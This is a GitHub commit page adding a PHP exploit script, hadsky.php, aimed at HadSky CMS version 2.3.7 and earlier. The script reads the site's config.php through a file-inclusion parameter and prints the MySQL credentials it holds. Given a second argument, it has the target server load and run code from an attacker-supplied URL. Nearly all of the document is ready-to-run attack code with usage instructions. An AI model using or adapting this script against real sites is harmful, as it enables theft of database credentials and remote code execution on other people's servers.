Skip to content

Commit 0985d60

Browse files
committed
Merge pull request mattiasgeniar#5 from l34rner/master
add an exp
2 parents cc54e8a + c74f8bc commit 0985d60

File tree

1 file changed

+65
-0
lines changed

1 file changed

+65
-0
lines changed

exp4php/hadsky.php

Lines changed: 65 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,65 @@
1+
<?php
2+
/**
3+
Author:l34rner
4+
Desc:HadSky CMS <=2.3.7 remote code excution && file disclosure vulnerability
5+
6+
**/
7+
$die=<<<str
8+
9+
usage:php $argv[0] target [payloadURL]
10+
11+
Eg: php $argv[0] http://www.google.com/HadSky/ [http://yourServer/payload.txt]
12+
13+
if you dont set the payloadURL,This exp will read the site`s config.php by default.
14+
15+
str;
16+
if($argc<2 || $argc>3)
17+
{
18+
die($die);
19+
}
20+
$poc='?c=page&filename=./puyuetian/mysql/config.php';
21+
$ch=curl_init();
22+
if(!$ch)
23+
{
24+
die("Dont support curl!");
25+
}
26+
27+
if($argc==2)
28+
{
29+
$url=$argv[1].$poc;
30+
curl_setopt($ch, CURLOPT_URL, $url);
31+
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
32+
curl_setopt($ch, CURLOPT_HEADER, 0);
33+
$out=curl_exec($ch);
34+
$start=strpos($out,'$_G[\'MYSQL\']');
35+
$end=strpos($out,'$_G[\'MYSQL\'][\'CHARSET\']');
36+
$output=substr($out,$start,$end-$start);
37+
if($output)
38+
{
39+
echo "\r\noh yeah,got the result\r\n\r\n";
40+
echo $output;
41+
}
42+
else
43+
{
44+
echo "oops,seems the config file has been renamed!";
45+
}
46+
}
47+
if($argc==3)
48+
{
49+
$url=$argv[1].'?c=page&filename='.$argv[2];
50+
curl_setopt($ch, CURLOPT_URL, $url);
51+
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
52+
curl_setopt($ch, CURLOPT_HEADER, 0);
53+
$out=curl_exec($ch);
54+
$error='未找到的模板文件!';
55+
$errorpos=strpos($out, $error);
56+
if($errorpos===false)
57+
{
58+
echo "Done,ur code has been excuted successfully!";
59+
}
60+
else
61+
{
62+
echo "Failed!";
63+
}
64+
}
65+
?>

0 commit comments

Comments
 (0)